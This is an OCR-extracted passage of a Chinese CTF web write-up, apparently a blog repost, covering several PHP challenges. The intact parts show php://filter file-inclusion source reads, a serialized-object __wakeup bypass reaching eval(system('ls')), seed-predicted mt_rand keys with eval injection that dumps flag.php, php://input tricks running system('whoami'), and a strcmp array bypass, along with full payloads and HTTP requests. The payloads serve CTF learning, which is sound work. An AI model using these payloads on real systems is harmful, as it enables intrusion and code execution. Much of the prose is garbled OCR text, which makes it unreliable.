I PUZ=CTF-Web-Writeup (#4))

1stPeak F 2020-02-21 15:07:04 KA7 998 W 5

SHHEER: WBwp XEHRE: wp

AL B : ASONE EJRBISCE, #4E CC 4.0 BY-SA FRALIMN, HEIEM LSl A M A= 1 .
ACEERE: https://blog.csdn.net/qq_41617034/article/details/104336546

AR

-

i PR WD ERERCRIZN A
1RXEO0ITH
LR

BIALESE, WebZif R 7 VURR. . BT LR A #B 53wp
EEKIWpE . https://bbs.ichungiu.com/thread-55360-1-1.html, https://bbs.ichungiu.com/thread-55362-1-1.html

B H B ILE =Aphpt i

#—/~: indexphp

#=A: show.php

FE=A4: user.php

BiH: http://120.55.43.255:24719, #%:J58E B WAL % F

M %w|E E5N hEE #EE 15O 50

Where O

& c o %2 120.55.43.255:2
Bl a=—T. /eiiliE @ Google [ {EERSE

BRMEBFENRG: R T —A o
MEF %®EE EEN BRE BEE 18T FEH)
Where X httpy//120.5543.255:24719/ *x —+

G @ 42 view-source:http://120.55.43.255:24719/

BE—TF. feiiliE @ Google [HfEE=%

<html>
<title>Where</title>

<a href%". /index. php?file=show. ;:g;;”l}<.-"'a.><.-"'htm1>



https://blog.csdn.net/qq_41617034
https://blog.csdn.net/qq_41617034/category_10082520.html
https://so.csdn.net/so/search/s.do?q=wp&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_41617034/article/details/104336546
https://blog.csdn.net/qq_41617034/category_10082520.html
https://bbs.ichunqiu.com/thread-55360-1-1.html
https://bbs.ichunqiu.com/thread-55362-1-1.html

®TR, BRINUIAZERE FFEFHA

NP %SE0 EFSFNV BEE #=E TEO FEH

Where ¥  Where

= C @
Bla=—r. feiiliE @ Google [ fEE=2

user.php

W2 HBATEEBuserphpREH A, HAMEE

MHHE &®RE =BV BhBE # TRI #EH)

Where X | Where X http://120.55.43.255:24719find= X -+
G @ 42 view-source:http://120.55.43.255:24719/index.php?file=user.php

BE—TF, iiliE @ Google [T EERE

<html>
<title>Whered/title>

</html>

B kA F phpth B3 4> B3R BLindex.phps  show.php. user.php
payload:

http://120.55.43.255:24719/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

K3 Hindex.phpZ it bse64 N % 1 YRS :

PGhobWw+DQogICAgPHRpdGXx1P1doZXJ1PC90aXRsZT4NCiAgICANCjw/cGhwDQogICAgZXIyb3IfcmVwb3JI0aW5nKDApOWOKICAgIGImKCEKXOdF

FtmaWx1XS17ZWNobyAnPGEgaHJ1Zj0ili9pbmR1leC5waHA/ZmlsZT1zaG93LnBocCI+PCOhPic7fQOKICAgICRmaWx1PSRFROVUWydmaWx13107
DQogICAgalWYoc3Ryc3RyKCRmaWx1LCIuLi8iKXx8c3RyaXNOcigkZmlsZSwidHAIKXx8c3RyaXNOcigkZmlsZSwiaW5wdXQikKXx8c3RyaXNOcigk
Zm1sZSwiZGFOYSIpKXsNCiAgICAgICAgZWNobyAiTkFOST810wOKICAgICAgICBleG1OKCk7DQogICAgTQOKICAgIG1uY2x1ZGUoIGZpbGUpOweK|
Pz4ANCjwvaHRtbDANCg==

RS JE I T -

html
title>Where</title

php
error_reporting(9);
if(!$ _GET[file]){echo i}
$file=$ GET[ i

if(strstr($file, )| |stristr($file, )| |stristr($file, )| |stristr($file,
echo
exit();

1
J

include($file);

html

CiBEE



e show.phpIIEALHD

<?php

echo

e user.phpHIIEAHES

<?php

class convent{

var $warn

function _ destruct(){
eval($this->warn);

)i

function _ wakeup(){
foreach(get_object _vars($this) as $k $v) {

$this->%k null;

)i

)i

)i
$cmd $ POST[cmd];

unserialize($cmd);

XJAMERE—F, BiEuserphpil LE S, FERERMKFIILE R

destruct)BAR FEM R AERFHITEHRE, IITZRE

__wakeup()EEAR 7% & flunserialize 3L F A 7E K, $4Tunserialize()i}, 25ciAH_ wakeupEi ¥, BTl ETMIMRAG, ZEPAT
unserialize(KaTeX parse error: Expected group after'_' at position 12: cmd)if . &R %6#4T_ wakeupe&i %, HEERK...cmdE

RZE 7 EA I I SUE .

il R L -«

XK B SR E, BevalBBHER, RNMUGRRAMBGTE  wakeupEi ¥, EEHAIT_ destructi i, FrUARNFEEHFFIMLE
MRS —F, BT LASIE_ wakeup, XA LLIFHA_ destructifi$i, $ITRAHS

B, #ATFAIN
ARG

<?php

class convent{

var $warn

function _ destruct(){
eval($this->warn);

bj

function __ wakeup(){
foreach(get_object_vars($this) as $k $v) {

$this->$k null;

b

b

b

$a=new convent();
echo serialize($a);

$ POST[cmd];
unserialize($cmd);




SR
$warn = "No hacker.";
_destruct(){

Parse error: syntax error, unexpected 'hacker’ (T_STRING) in
eval ($this->warn); -

/home/phpcnépeh2pweun/wwwroot/compile.php(45) : eval()'d

__wakeup(){ code(5) : eval()'d code on line 1

(get_object_vars($this) as $k => $v) {
$this->$k ;

}

i
$a convent();
echo serialize($a);

$cmd = §_POST[cmd];
unserialize($cmd);
>

HTFHRE T, REBRMNBEAEESSwamiE, X ERNE B LA h—A
(N ZE

<?php

class convent{

var $warn ;

function _ destruct(){
eval($this->warn);

s

function _ wakeup(){
foreach(get_object_vars($this) as $k
$this->$k null;

$a=new convent();
echo serialize($a);

$cmd = $ POST[cmd];

unserialize($cmd);

<?php
convent{
$warn i
_destruct(){
eval ($this->warn);

FRESHITR

H
__wakeup(){
(get_object_vars($this) as $k => $v) {
$this->$k ;

$a convent();
echo serialize($a);

$cmd = $_POST[cmd];
unserialize($cmd);
»

XEf, conventht BB EATFFIN T, FFIILIERIE DT

:1:{s:4:

7: NREFREKE
convent: XTRAL
1: WNHREREEMNANE, XEKEME Awarn
s: BiERRA
4: BHEAKE
warn: J& 1 # A HR
s: JBIE(ERSRA
0: EBHEMNBHRKE
: BHERE




X BRI FEHLERN R ZMconvent, BHEAE 1, & warn, A"

XERNMFELT  wakeupiIif, #0:7:convent”:1:{s:4:"warn”;s:0:"" P K1BCA K F 1%, BIA5EMRssd  wakeup&i%h, #8
BEPAT_ destructii i, MERIERHARFINT .

RIE IR Heval(

this—> warn)\ T &1, it EHus warn, BT, WAIHEBZBBUEEwarni{E, T Rpayload (JEREESY
4 | 3

LI

$cmd =0:7:

unserialize(0:7: :3:{s:4: ;5:13:

B iwarn BHERIMEN: system( )E

HiTcovent, FASEHTT_ wakeup, BEATAT_ wakel# T, BHEIIT_ destruc
eval (warnfBHE{E), tHEiReval(system( );5)

ER! ! ! POSTi# X payloadht, A& EXfpayloadfif5l5, WTHIRRAHIRK
cmd="0:7:“convent”:3:{s:4:“warn”;s:13:“system(‘ls’);”;}

fi FHbp HEAT BT A 3% :

Go Cancel <|v > | Target: http://120.55.43.255:24719 [ﬂm

Rt HESERIGETAPOST, BT EHT SRR

Raw ms | Headers | Hex Raw | Headers | Hex

POSTuser.php HTTP/1.1 .A HTTP/1.1 200 OK .A
Host: 120.65.43.265:24719 Date: Tue, 24 Dec 2019 09:17:22 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:71.0) Geckeo/20100101 Server: Apachef2.2.15 (CentOS)
Firefox/71.0 ¥-Powered-By: PHP/S.3.3
Accept: text/html application/xhtml+xml application/xml;g=0.9 */*,q=0.8 Content-Length: &1
Accept-Language: zh-CM, zh;g=0.8,zh-TW;q=0.7 zh-HK; 4=0.5 en-US;g=0.3 en;q=0.2 Connection: close
Accept-Encoding: gzip, deflate e pqmTn, ST EERERRI E, TEETS Content-Type: text/html; charset=UTF-8
Connection: close
Upgrade-Insecure-Requests: 1 /
bontent-Type: applicati0nfx-www—form-urlencodedl index.php
Content-Length: 54 show.php
user.php
cmd=0:7:"convent”:3:{s:4:"warn";5:13 "system('ls'):":}l |

Ay dsuhhifdgjhaskidkj.txtflIndex,phpfE Rl — B % T, AT HURLY &

M %w|E E5N hEE #EE 15O 50

120.55.43.255:24719/dsuhhjfdg] X =+

&« C o © % 120.55.43.255:2
Bl =T, oulE © Google [iEExR2

flag{gishinizhixuyaocaidaozhegewenjiandemingzijiuxinsle}

B#£ L E: http://pOdesta.com/2018/04/01/php K554k 4/
https://iwww.freebuf.com/column/202607 .html


http://p0desta.com/2018/04/01/php%25E5%258F%258D%25E5%25BA%258F%25E5%2588%2597%25E5%258C%2596%25E6%2580%25BB%25E7%25BB%2593/
https://www.freebuf.com/column/202607.html

A

<?php
show_source{_FILE )
include “flag.php”:
$a = @S_REQUEST[ hello’]:
$seed = @S$_REQUEST[ seed 1;
Skey = @$_REQUEST[ key ]:

mt_srand($seed) ;

. _ S
$true_key = mt_rand();

if (Skey == S§true key){
echo “Key Confirm”;

elseq
die("Key EBrror”);

r o~ I A Y
evall “var_dumpf($a); );

7> Key Error

HackBar
Encryption + Encoding~ SQL~ XSS~ LFl~ XXE~ Other -
@ Load URL hitp:/120.55.43.255:27189/
1§ split URL
» ) Execute

[ Postdata [] Referer [] User Agent [] Cookies Clear All

show_source(__FILE_);
include 5

$a = @_REQUEST]

$seed = @$_REQUEST[
$key = @%_REQUEST[

mt_srand($seed);
$true_key = mt_rand();

if ($key $true_key){

echo ;

1
J

else{
die(

1

J

eval(
Key Error




iR, SEERADITHHL, —REmt_srand)E$, EF—Reval( “var_dump($a);”)
—FFah B 81 A i @0 F payload:

http:

<?php
show_source{_FILE )
include “flag.php”:
$a = @S_REQUEST[ hello’]:
$seed = @S$_REQUEST[ seed 1;
Skey = @$_REQUEST[ key ]:

mt_srand($seed) ;
1 — "y
Strue_key = mt_rand();

if (Skey == S§true key){
o . o
echo "Key Confirm ;

else{
. 4 LY
die("Key Error ):

. e
evall “var_dump($a); );

2 [Key Error |

HackBar

Encryption + Encoding~ SQL~ XS5~ LFl~ XXE~ Other -

& Load URL [nttp://120 55 43 255:27189/2hello=1).print_r(file(" /Mag php")]|

gg Split URL

Execute
! [ Postdata [] Referer [] User Agent [] Cookies Clear Ajl

BEREA BN, BRULAESKkey == $true_key 4 &iTevalm i T
&5 IE#ifpayload:



<?php
show_source(_ FILE_ ) :
include “flag. php”:
$a = @S_REQUEST[ hello']
$seed = @S_REQUEST[ seed 1;
Skey = @S$_REQUEST[ key 1;

mt_srand ($seed) ;

S$true_key = mt_rand();

if (§key = Strue_key){
echo “Key Confirm”:

else
P ey
die( Key Error');

i L I A LAY
eval var_dump ($a) ;") ;

2> |Key Confirmint(1) Array ( [0] => $flag="flag{YOu_Solv3_s4mpl3..oNc3_Mor3}"; )|

HackBar
Encryption ~ Encoding~ SQL~ X35~ LFl~» XXE~ Other~
@ Load URL hitp #1120 .55 43 255:27189/7hello=1).print_r(file("/fag php"}&seed=12345&key=162946439
g.g Split URL
» ) Execute

[] Postdata [] Referer [] User Agent [] Cookies Clear All

RN :

SERATIRAIS G, BATMIE, FERZLMITevalB$, PITHIBEERNMRLG, B2, HhHITeval BB AT ZSkey ==
$true_key, EiIh#iHKey Confirm, 7 getiiTeval()Eh, HIXEERRNFENEID Feval B AR #ITHE, BUTRNEER
4, BERERE—Avar_dump()E %L

mt_rant(): 2 ERBENLEL
mt_srant(seed): R{Eseed®F, K5 Rt rant()ERBEHLS
4.

<?php
mt_srand(12345);

echo mt_rand()

Hi: 162946439

MRSV T s



mt_rand()
mt_rand()
mt_rand()
mt_rand()
mt_rand()

BATRBREBRATIRE AT, ERKIBEREER, EmE N8, REREEmML srand()#ES BKF T 812345, BAE
Wt IBENLE, RATRBERE R4, ABWT

mt_srand(12345);
$true_key = mt_rand();
if ($key $true_key){

evallF i N A HH i

eval(

helloRERSHINER, i FIMAIRhel 0%, BILE L RmRIEFNSa, ERLIESHAvar_dunp, Ffprint_ri
HGHi&var_dump: $_GET[hello]=$a=1);
eval("var_dump(1);)");  //ZHRMBE—MESEEREEprint_rB—MESHE, FHEGRFRIMOENE

BB Eprint_r: print_r(file("./flag.php"));

TE2 FTURL AR ) eval#RfEN

eval("var_dump(1l);print_r(file("./flag.php"))");

URLIGE LR, H&Hpayload:
http://120.55.43.255:27189/?hello=1);print_r(file("./flag.php")&seed=12345&key=162946439




echo&PHPIEA], printflprint_r2RE, EAEAREVE, K LA IR EME (BMERS H)
print K AE$TEQ H fEj R R R AR B [ E (Wint, string)
print_ra] BAFT BN B 22 2R R0 2 R E (0504, R

file() BREFEEANSCHEN—ANEAF.
5 file get contents() 2Kfl, AREMKRZ file() B XHEAN—ANEHIRE . BHF G BEITE R PP —1T, BRBITHEN.
W KM, WRE false.

Gk
file(path,include_path,context)
S8 #R
path 7. #EBEEBURISCH.
include path Wik, MEWEFAE include_path I CHKIE, WK ZSEE N "1".
context
Al . HSE U AR ER IR
—Er LMEBR AT ARET. E/HH null, N2,

% context HISZHFZ PHP 5.0.0 N,

IR [ B R — AT EREFE TITE R, R MERFETER TR ETEFA rtrim() R
PR AR R
Fe: M PHP 4.3.0 FFih, WL file_get contents() B STHAEANR|—ANFFEIHRE,
VERE: M PHP 4.3.0 FFi4, file() W BAZR4LH T #HISCit:.
ERE: WRAEE] PHP FEIREUCAEIAREIRA Macintosh SCHRMIATERFF, FIDABUE auto_detect_line_endings BATHIECEETI.

B Tfile &%, AR frth R BE(E Mprint_riTEDH#H, ZXANFEER

H: —HHERRFEAMGETIER, RS MHbpIE, KikFlrepeater, BXHIEAPOST, HRXFEARTAT, TiERE EH I
. TUBRMNBEEBUTIUNGE, WRIR—IFEHCGETRHPOSTZ fE, BiER, POSTHEK T AR ZK—1T, Al
BARXAHE, I EKiEErepeaters, H/E—ITHE THAMEEMNIT, RNZET —MEE, ZRHEETEH-NET
(XRWBAH) « POSTE. POSTHE FTHE —MET (RENMDEN, FERSMEMBEELERIIT) SBOUEELE EH#HIAT
5.

5i45h, ContentLengthBEx HCEH, MHRENRE, LEMT, MTHIT, ESREIRKPOSTIER B34 M.
WMRIXAEPOSTIRALIE & R WGENT, MBI et TPOSTIER, REHIMBEBE.

—ANNL, TS EEHTTPEMH, Content-LengthF TR HTTPIH B 5L 4 i) £ i K F the transfer-length of the message-
body. FEHTTP#XH, HEREKEMEBSAEKARKERAX R, tWindigzdpE4 T, HELEKEREHAMNKE, H
Bttt E Rozp R4 KE. FTbl, BRREATAT LARElengthf) R BCH W ERA TR AS B 508 2 BB RATE R K
SHHITIRZ (Content-Length— 8% % GETHRPOSTH RE K, EAEEZp, FTLA R ARSI A/

SENE:
https://www.cnblogs.com/zaqzzz/p/9997855.html
https://segmentfault.com/a/1190000016750234?utm_source=tag-newest


https://www.cnblogs.com/zaqzzz/p/9997855.html
https://segmentfault.com/a/1190000016750234?utm_source=tag-newest

BB : iilahttp://120.55.43.255:28119)5 LI T B Fi =

you are not admin !
hava a rest and then change your choose.

HackBar
Encryption ~ Encoding~ SQL~ XSS~ LFl~ XXE~ Other~
| = Lead URL http:/1120.55 .43 25528119/
1 split URL
» ) Execute

[] Postdata [] Referer [] User Agent [] Cookies Clear All

BATEE W IR

you are not admin br/>hava a rest and then change your choose
$user = $_GET[ 1;
$file = $_GET[ 15

$pass $ GET[ 1;

if(isset($user)&&(file get contents($user,

echo ;
include($file);

—REE, BINELEELSHBSuser=admin, XEMFH T file get contents()H#, MATLANIVERiE$user===adminlE?
file_get contents ¥ — M HHEANFEFEF, XEREKSuserANFRFErd, EXEH, RITEE
file_get contents($user,'r')===admin, EAFIE? FHphp://inputB i, EHtEHRIKIPOSTHIER 2441 .



file get contents(
$d;

@eval($d);

T HERBE AN IRE AR

FEFIPOSTHIESE

HackBar
Encryption ~ Encoding ~ SQL~ XSS~ LFl~ XXE~ Other~
& Load URL hitp://www.upload.com/test. php
1 splitURL
) Execute

Postdata [] Referer [] User Agent [] Cookies Clear All

MXRA WL

TISTIHIPOSTHIRE : [xx=system%28%27whoami%27%29%3B|




HackBar

Encryption ~ Encoding~ SQL~ X85~ LFl~ XYXE~ Other -
& Load URL hitp:/fwww.upload.com/test php
g.g Split URL

| v) Execute

Postdata [ Referer [] User Agent [] Cookies Clear All

x=system('whoami')

fEhackbar {# FIPOSTiR AL #i#E, HAPOSTRAN FEER, BARTHEHEM N EZE, MELEP KX, FRARIER
Fhackbarf JR HiE 2 HARRRE, NinEE#TEExecute, T, hackbarZiF RARN G AANE, HHBMER L. JRAUE
A EETF S ATR AR, EAZR#ITPOSTR G, BMEMbpHTMEEN, MFZEMETS, REHERL, XHHTL
T. BR&ET —E, HELERIflaght!



i F bp T £ /& -

Go Cancel < |v > Target: http:/iwww.upload.com [ﬂ [iJ

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /test.php HTTR/1.1 A HTTP/1.1 200 OK A
Host: www.upload.com 1 Date: Thu, 26 Dec 2019 12:11:.57 GMT i
User-Agent: Mozilla/5.0 (WNindows NT 10.0; 'Wined; x64; rv:71.0) Gecko,/20100101 Server: Apache/2.4.39 (Wint4) OpenSSL/1.1.1b mod_fcgid/2.3.9a
Firefox,/71.0 X-Powered-By: PHP/5.6.9
Accept: text/htmlapplication/xhtml+xml,application/«ml:q=0.9,%/*q=0.8 Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3 en;q=0.2 Content-Type: text/html; charset=UTF-8
Accept-Encoding: gzip, deflate Content-Length: 75
Content-Type: application/-www-form-urlencoded
Content-Length: 17 IE{%E!E‘JPOST%E: system('whoami'); <br/> desktop-5vevd4d\1 stpcakl
Origin: http:/Awvww.upload.com
Connection: close
Referer: http://www.upload.com/test.php
Upgrade-Insecure-Requests: 1
system(‘whoami');
e =
A4 v
? < + = | | Type a search term 0 matches ? < + = | | Type a search term 0 matches
Done 238 bytes | 106 miliis
WA BN

FRSFIRIPOSTHIER: system('whoami’);
desktop-5vevd4ad\1stpeak

HackBar

Encryption ~ Encoding~ SQL~ XSS~ LFl~ XXE~ Other~

) Load URL hitp:/iwww.upload.com/iest.php

& split URL

45 AT, php://inputEf i, RIKRERAIPOSTRAZ MR GHIE, IRIBAHE, FptIREUE

WY, NS, BHEFpassS 2 TWAKE? &7 —RIFRIG, BAVEFHphp:/inputdt 2 bl LA file S EUE F phpth
PR Eindex.php. class.phpHIyEL{E B
payload:

http



W

Go Cancel <|v >|v

Target: http://120.55.43.255:28119 [ﬂ [;?J

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
PCST A HTTP/1.1 200 OK [a
Stuser=phpy/inputéifile=phpy//filter/read=convert.basetd-encode/resource =index. E Date: Thu, 26 Dec 2019 12:19:26 GMT T
php HTTP/1.1 Server: Apache/2.4.27 (Unix)
Host: 120.55.43.255:28119 X-Powered-By: PHP/5.6.32
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wine4; x64; rv:71.0) Gecko/20100101 Content-Length: 1293
Firefox,/71.0 Connection: close
Accept: text/html,application/x<html+xml,application/xmlg=0.9,%/*q=0.8 Content-Type: text/html; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate hello
Content-Type: application/s«-www-form-urlencoded admin! <br>PD9waHANCmVycm 9yX3J1cG9yd GluZyhFXOFMTCAmIHSFX05PVEI
Content-Length: 5 DRSk7DQokdXMIciA91CRfROVUWYJ1c2Vyll07DQokZmIsZSAIICRFROVUWyJma
Origin: httpy//120.55.43.255:28119 Wxll107D QokcGFzcyA9ICRFROVUWYJWYXNzII07DQogDQppZihpc3NIdCgkdXNI
Connection: close cikmJihmaWxIX2dIdF9jb250ZWS0cygkdXNlciwncicpPT09ImFkbWilulikp ewOKI
Referer: httpy//120.55.43.255:28119/Tuser=php://input CAglGVjaG8gImhlbGxvIGFkbWIulTxicj4iOwO0KICAgIGImKHBYZWdfbWFOY2gol
Upgrade-Insecure-Requests: 1 i9mZmZmZmZsYWevliwkZml<ZSkpewOKICAgICAgICBleGIOKCK7DQoglCAgfW
Vsc2V7DQoglCAgICAgIGIuY2x1ZGU0JGZpbh GUp OyAvLZNsYXNzLnE o cAOKICA
admin glCAgICAkcGFzcyA9IHVuc2VyaWFsaXplKCRWYXNzKTsNCiAglCAgICAgZWNo
byAkcGFzczsNCiAgICBIDQp9ZWxzZXsNCiAglCBIYZhvICI5b3UgYXJIIG5vdCEh
ZG1pbiAhICITDQoglCAgZWNobyAiPGJylLz4iOwOKICAgIGVjaGBglmhhdmEgYs
ByZXNOIGFuZCB0aGVulGNoYW5SnZSB5b3VylGNob292Z54i Ow0KfQOKIAOKPz4
NCIANCjwhLSONCiR1c2VylD0gJFIHRVRbINVZZXIiIXT<N CiRmaWxIID0gJFIHRY
RbImZpbGUiXT<NCiRwYXNzID0gJFOHRVRbInBhc3MiXTsNCIANCmImKGIzc2V0
KCR1c2VyKSYmKGZpb GVFZ2V0X2NvbnRIbnRzKCR1c2VyLCdylyk9PTO0iYWRta
W4iKS17DQoglCAgZWNobyAiaGVsh GBgYWRtaW4hPGJyPil7DQoglCAgaWSjb
HVKZS gkZml<ZSk71CBvY2xhc3MucGhwD Qp9ZWxzZXsNCiAglCBIYZhvICI5b3U
gYXJIIG5vdCBhZG1pbiAhICI7TDQp9DQoglLS0+
<l--
$user = §_GET["user™;
- $file = §_GET["file"];
5 $pass = § GET["pass"]; ¥
? [LJ u [LJ Type a search term 0 matches [lJ [LJ u [LJ Type 0 matches

Done

#base64#t TR, BHlindex.phpifid:

1,486 bytes | 24 miliis



<?php

error_reporting(E_ALL E_NOTICE);
Suser = $ GET[ 1;

$file = $ GET[ 1;

$pass $ GET[ 1;

if(isset($user)&&(file get contents($user,

echo ;
if(preg_match( ,9file) ) {
exit();
}else{
include($file);
$pass unserialize($pass);

echo $pass;

$user $ GET[ 1;
$file $ GET[ 1;
$pass $ GET[ 1;

if(isset($user)&&(file_get contents($user,
echo 5
include($file);




B FEMER v, FREclass.php

Go Cancel < |v > |
Request

Raw | Params | Headers | Hex

Target: http://120.55.43.255:28119 @J ?

Response

Raw | Headers | Hex

PCST
JStuser=phpy/inputéifile=phpy//filter/read=convert.basebd-encode/resource=class.
php HTTP/1.1

Host: 120.55.43.255:28119

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wine4; x64; rv:71.0) Gecko/20100101
Firefox,/71.0

Accept: text/html,application/x<html+xml,application/xmlg=0.9,%/*q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/-www-form-urlencoded

Content-Length: 5

Origin: httpy//120.55.43.255:28119

Connection: close

Referer: httpy//120.55.43.255:28119/Tuser=php://input
Upgrade-Insecure-Requests: 1

admin

class.phpJFi:

<?php
error_reporting(E_ALL E_NOTICE);
class Read{
public $file;
public function
if(isset($this

__toString(){
file)){

echo file get contents($this

1
J

return

e

e
]

h term 0 matches

HTTP/1.1 200 OK

Date: Thu, 26 Dec 2019 12:24:26 GMT
Server: Apache/2.4.27 (Unix)
X-Powered-By: PHP/5.6.32
Content-Length: 641

Connection: close

Content-Type: text/html; charset=UTF-8

hello

admin! <br>PD9waHANCmVycm 9yX3J1cG9yd GluZyhFXOFMTCAmIHSFX05PVEI
DRSk7DQogDQpjbGFzcyBSZWFkey8vZmZmZmZmbGFnlnBocAOKICAgIHB1Y
mxpYyAkZmlsZT<NCiAglCBwdWJ)saWMgZnVuY3Rpb24gX190b1NOcmluZygpe
wOKICAgICAgICBpZihpc3NIdCgkdGhpcy0+ZmlsZSkpew0KICAgICAgICAgICAg
ZWNobyBmaWxIX2dIdF9jb250ZW50cygkdGhpcy0+ZmlsZSkTICAgIAOKICAgIC
AglCB9DQoglCAgICAgIHJIdHVYbiAIQXd3d3d3d3d3d3d31G1hbil7DQoglCAgf
QOKFQOKPz4=

iflisset{$user)&&(file_get contents{$user,r’)==="admin")){

echo "hello adminl<br>";

el nhn
Sfclass.php

L

=
v

0 matches

833 bytes | 19 miliis

SN EEL, —3mE, EEMRFIER, BARINEREFEFindexphp. class.php

=k

ZAUIEMEE




php
error_reporting(E_ALL E_NOTICE);
$user = $ GET[ 1;
$file = $_GET[ 1;
$pass = $_GET[ 1;

if(isset($user)&&(file get contents($user, )
echo ;
if(preg_match( ,$file) ) {
exit();
}else{
include($file);
$pass unserialize($pass);

echo $pass;

php
error_reporting(E_ALL E_NOTICE);

class Read{
public $file;
public function __ toString(){
if(isset($this->file)){
echo file_get_contents($this->file);

}

return

WY, FHindexphpE T, FAI4kL:MiEpayload

XBEFE—NRFIIMN, FHHXA$passRAT#ER, BARMTAT IR HRFIMIRR —LBURELE (BAK Fevalli®, BHE
echo, AJLMEHURFHIEEIE, BLAphphihil, base64inzs s Hiffffflag.php)

Bk EEEELBN— MR, HTFHIN

public $file;
public function _ toString(){
if(isset($this->file)){
echo file_get contents($this->file);
b

return

bj
$peak=new Read();

echo serialize($peak);




_ toString(){
($this->file)){
ents($this

ww man";

Read();
serialize($peak);

RIS :
O:4:"Read™:1:{s:4:"file";N;}

B, filefIEANULL, HARABEK ilerE, SOvRANTE CBER, RINEERT

php:

A2 WUk 7 FUAL JE BB BRSO T T TR -

XA ReadkEAIE R, BEFEIBKEBRUE, S EMITunserialize R FHILES, B4 Tphp/filter/read=convert.base64-

encode/resource=fffffflag.php
X B % J5 fipayload &

http:

bp@:

Request

Raw | Params | Headers | Hex

Target: http://120.55.43.255:28119 | & || 7

Response

Raw | Headers | Hex

PCST

Sluser=phpy//inputéfile=classphp&pass=04:"Read " {s:4:"file";5:62:"php://filter/re
ad=convertbasebd-encode/resource=fffffflag.php™ HTTP/1.1

Host: 120.55.43.255:28119

User-Agent: Mozilla/5.0 (Windows NT 10.0; 'Wined; x64; rv:i71.0) Gecko,/20100101
Firefox,/71.0

Accept: text/html,application/x<html+xml,application/xmlg=0.9,%/*q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/=-www-form-urlencoded

Content-Length: 5

Origin: http://120.55.43.255:28119

Connection: close

Referer: http://120.55.43.255:28119/?user=php://input
Upgrade-lnsecure-Requests: 1

admin

HTTP/1.1 200 OK

Date: Thu, 26 Dec 2019 12:47:48 GMT
Server: Apache/2.4.27 (Unix)
X-Powered-By: PHP/5.6.32
Content-Length: 409

Connection: close

Content-Type: text/html; charset=UTF-8

hello

admin! <br>PD9waHANCmVycm 9yX3J1cG9yd GluZyhFXOFMTCAmIH5FX05PVEI
DRSk7DQovL2Z<YWd7d295ZWJ1emhpZGFveWFvbm9uZ2dlc2ZhhZmxhZ2hlc2h
PYXONCj8+ Awwwwwwwwiwww man

¥ v
[LJ [LJ [LJ [LJ Ty 0 matches [LJ [LJ [LJ [LJ Ty 0 matches
Done 601 bytes | 17 miliis

¥ baseb4 1S 515 2lflag



<?php
error_reporting(E_ALL E_NOTICE);

BEWT:

There is a ping.php

HackBar
Encryption + Encoding~ SQL~ XSS~ LFI~ XXE~ Other~
& Load URL hitp://120.55.43.255:21173/
1 splitURL
v Execute

[1 Postdata [] Referer [] User Agent [] Cookies Clear All

KT WIS IR 7 -

There is a ping.php

$password ;
if(isset($_POST[ 1)){
if (strcmp($_POST[ 1, $password) 0) {
echo 5

include($_REQUEST[ ;s
exit();

} else {

echo

3% B2 3 1 2 stromp () i SR R
A HKif(0==0), A &PSTifiER), FHXHES
stremp () B& ZUR TR A48 -




#: X—MNMEIRERH55.3Z AT ARphp BATE %6F — T XA R, XAN R BOR FH T HLBC7 77 5 1 R 4

int stremp ( string $str1 , string $str2 ) % str1 s —ANFH/F R . str2f —ANF/FHE. R

str1 /NTF str2 R[E < 0; A% str1 AT str2 iR[E > 0; WEHEML, KE 0.

stremp() SR EHAE A\ BB S R R 2R R KA, HERMREBRINEANEEWZF R LM ERE, XNREHESHELFERITNE? 5%
fr b, MXANREEEZ T AEGERFR R RN, XANREERESR, ERES.3ZAphpH, BRTRENEEFSEE, Hreturn
Ol st R BT 44, (HEIREO. phpE L EFHKRATBE T IXANRIFE, F15HR % K% K& HOR R BE A E .

o, wmmsethe?

RERAI$_POST['password 2 — AN a3 —~objectBIF], XFEMHREZFFE, EHEMNRAEZENZRE, (B LE—AHE? iF
ETHE

php AT AL EE—A 8, &t EERTRES R X hiES UERH b4E, Flin: password[]l=xx, LAEZEE 4 Npasswordfi%id, H
B B xx

i Hpayload (POSTHRZR) : FTS/FEHMETLECHEERE

password[ ]=1stPeak

IThere is a ping.phpRight!!llogin successl

Encryption ~ Encoding~ SQL~ XSS~ LFl~ XXE~ Other -

@ Load URL http://120.55.43.255:21173/
g.g Split URL

Execut
| ») Brecue Postdata [ Referer [] User Agent [ Cookies Clear All

password[]=1stPeak

KE phpIFipayload:
FKELindex.php

password 1stPeak&path=php



Go Cance
Request

Raw | Params | Headers | Hex

Target: http://120.55.43.255:21173 | # LZJ

Response

Raw | Headers | Hex

POST / HTTP/1.1

Host: 1205543.255:21173

User-Agent: Mozilla/5.0 (Nindows NT 10.0; 'Wing4; x64; rvi71.0) Gecko/20100101
Firefox/71.0

Accept: text/html application/«html+xml,application/xml;q=0.9,%/%q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=05,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://120.55.43.255:21173/

Content-Type: application/sc-www-form-urlencoded

Content-Length: 82

Origin: http://120.55.43.255:21173

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

e

password[l=1stPeak&path=php:/filter/read=convert.basebd-encode/resource=index.p
hp

k.
v

0 matches

BEEEM

Done

base64f#i:

$password
if(isset($_POST[
if (strcmp($_POST][
echo ;
include($_REQUEST[ s
exit();

D
1, $password)

s
else{
echo

$password
if(isset($_POST[
if (strcmp($_POST[
echo ;
include($_REQUEST[ D;
exit();
